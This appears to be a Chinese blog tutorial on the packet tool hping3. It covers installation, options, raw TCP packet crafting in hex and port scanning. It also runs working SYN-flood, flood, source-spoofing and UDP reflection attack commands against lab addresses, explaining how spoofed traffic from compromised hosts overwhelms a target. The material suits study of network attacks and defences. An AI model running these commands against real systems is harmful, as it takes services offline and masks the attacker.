赞
踩
yum install libpcap-devel
yum install tcl-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
./configure
make
make strip
make install
# hping3 host [options] -h --help # 显示帮助 -c --count # 发送数据包的数目 -i --interval # 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000) --fast # 等同 -i u10000 (每秒10个包) --faster # 等同 -i u1000 (每秒100个包) --flood # 尽最快发送数据包,不显示回复 # 模式选择 default mode # 默认模式是TCP -0 --rawip # RAW IP模式,原始IP模式。 -1 --icmp # ICMP模式 -2 --udp # UDP模式 -8 --scan # 扫描模式,扫描指定的端口 # Example: hping3 --scan 1-30,70-90 -S www.target.host -9 --listen # 监听模式 # IP 模式 -a --spoof # 设置源地址。在进行DDos攻击时可以使用这个参数伪造IP --rand-dest # 随机目的地址模式,详细使用 man 命令 --rand-source # 随机源地址模式,详细使用 man 命令 -t --ttl # 指定 ttl 值 (默认 64) # ICMP 模式 -C --icmptype # icmp类型,默认回显(echo)请求 # UDP/TCP 模式 -s --baseport # 设置源端口,默认为随机源端口 -p --destport # 设置目的端口,默认端口为0 -k --keep # 保持源端口不变(默认在发送一个包后端口号会递增) -w --win # win的滑动窗口。windows发送字节(默认64) -M --setseq # 设置TCP序列号 -L --setack # set TCP ack,不是 TCP 的 ACK 标志位 -F --fin # set FIN flag -S --syn # set SYN flag -R --rst # set RST flag -P --push # set PUSH flag -A --ack # set ACK flag -U --urg # set URG flag # 通用设置 -d --data # 发送数据包的大小,默认为0 -E --file # 发送指定文件内的数据 -e --sign # 指定发送的数据
先进行较常见的SYN Flood攻击
hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000
参数介绍
通过WireShark看下数据包
可以看到攻击者发起一个SYN请求,被攻击者进行了一个ACK回应,但攻击者不会响应,又重新发起SYN请求。
上面演示的攻击,攻击者需要等待被攻击者响应一个ACK才会继续发送SYN,可以加个–flood参数,不需要等待ACK响应,持续发送SYN请求
hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000 --flood
可以看下效果
还可以在攻击时通过-a参数伪造源IP地址
hping3 -a 192.168.11.22 192.168.1.2 --syn -p 8088 -c 5 -i u500000
实际的攻击者IP为192.168.206.137,这里伪造成了192.168.11.22
这里演示只使用了一台电脑进行攻击,其实是看不到什么效果的。实际的DDos攻击,可能需要上万台电脑同时发起攻击,如果上万台电脑不间断的持续发送SYN请求,很快就会达到服务器并发处理能力的上限,导致服务瘫痪。
hping3 192.168.1.2 --ack -p 8088 -c 5 -i u500000
hping3 -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
攻击原理:首先有一台UDP服务器192.168.1.2,给这台服务器发送一个较小的数据请求,UDP服务器会进行数据量很大的响应。攻击者操控肉鸡192.168.206.137进行攻击,并将肉鸡的IP伪造成被攻击者的IP,这样肉鸡192.168.206.137发送请求后,UDP服务器会对攻击目标192.168.206.133进行响应。
如果肉鸡频繁的发送查询请求,UDP服务器就会频繁的对攻击目标进行响应,导致攻击目标服务瘫痪。
攻击命令
hping3 -a 192.168.206.133 -s 1024 -k -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
参数介绍
借助一个UDP调试工具看下效果
可以看到,请求本来是肉鸡192.168.206.137发送给UDP服务的,但实际上UDP服务响应到了攻击目标192.168.206.133上。
hping3 -c 1 -S -A -s 10010 -w 1024 -p 8088 -d 10 -e "helloworld" 192.168.1.2
UDP包头
UDP包头比较简单,一般可以设置源端口和目标端口号
hping3 -c 1 -e "hello" -d 5 --udp -p 8089 192.168.1.2
hping3 --icmp -c 1 192.168.1.2
hping3 --rawip -c 1 -t 126 --ipproto 6 -a 192.168.2.2 192.168.1.2
- 1 : ICMP
- 4 : IP
- 6 : TCP
- 17 : UDP
- 41 : IPv6
我们知道IP数据包位于网络层,TCP数据包位于传输层。TCP数据包就是在IP数据包的基础上构造的,因此可以直接在IP数据包的数据部分构造一个TCP数据包。听不懂没关系,举个栗子。
首先需要一个二进制数据编译器。这里可以使用Notepad++的插件,在菜单栏找到Plugins->Plugins Admin,搜索Hex-Editor,点击安装
安装完成后在菜单栏Plugins下就会多出一个Hex-Editor插件,点击View in HEX就可以编辑二进制文件了。
接下来就构造一个TCP数据包,再看下TCP数据包头结构
构造的数据包内容(16进制显示)
27 60 27 62 00 00 00 05 00 00 00 06 50 12 10 08 17 14 00 00
首先需要设置源端口号和目标端口号,各占16位,分别为0x2760和0x2762,对应的十进制分别是10080和10082。
接下来设置序列号和确认应答号,各占32位,分别为0x00000005和0x00000006,但是这两位设置后抓包看不到效果,可能是网络传输过程中重置了,后续再研究下。
数据偏移和保留位这里设置为0x50。
然后是非常重要的标志位,比如我们想把SYN和ACK置位,二进制位就需要设置为00010010,那么对应的十六进制就是0x12。
窗口大小占16位,设置为0x1008,对应的十进制为4104
校验和设为0x1714,后面不需要特别设置的可设为0。
看下文件中的内容
文件编辑好后,传到Centos上,通过以下命令将文件作为数据发送
hping3 --rawip -c 1 --ipproto 6 -E tcp.txt -d 20 192.168.1.2
通过–ipproto指定协议类型为TCP,通过-E参数指定要发送的文件。
抓包可以看下效果
首先我们构造的是IP数据包,但实际上已经是TCP数据包了。并且端口号和标志位等信息就是我们在文件中设置的信息。这里只设置了包头,也可以在后面继续设置数据信息。通过同样的方法可以构造UDP数据包等。
27 60 27 62 20 20 20 05 20 20 20 06 50 12 10 08 17 14 00 00 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 31 2e 32 0d 0a 0d 0a
hping3 --rawip -c 1 --ipproto 6 -E tcp.txt -d 57 192.168.1.2
hping3 --scan 1-1024 -S 192.168.1.2
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。